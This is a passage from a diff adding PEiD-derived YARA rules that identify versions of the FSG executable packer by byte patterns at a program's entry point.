+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_00800_FSG_v1_10__Eng_____dulek_xt_____MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00801_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic___MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00802_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00803_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___4_x___LCC_Win32_1_x__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)]"
+        ep_only = "true"
+    strings:
+        $a = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00804_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00805_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00806_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00807_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00808_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00809_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00810_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00811_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00812_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00813_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00814_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00815_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00816_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00817_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00818_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00819_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00820_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 4D 83 F6 4C 68 80 ?? ?? 00 EB 02 CD 20 5B EB 01 23 68 48 1C 2B 3A E8 02 00 00 00 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00821_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00822_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00823_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 ?? CF ?? ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00824_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00825_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00826_FSG_v1_10__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00827_FSG_v1_1_
+{
+    meta:
+        description = "[FSG v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00828_FSG_v1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00829_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00830_FSG_v1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00831_FSG_v1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00832_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00833_FSG_v1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00834_FSG_v1_2_
+{
+    meta:
+        description = "[FSG v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00835_FSG_v1_30__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.30 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00836_FSG_v1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.31 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 97 33 C9 41 FF D3 13 C9 FF D3 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 5B 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 58 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 89 06 AD 85 C0 75 D9 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 88 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00837_FSG_v1_31_
+{
+    meta:
+        description = "[FSG v1.31]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00838_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00839_FSG_v1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
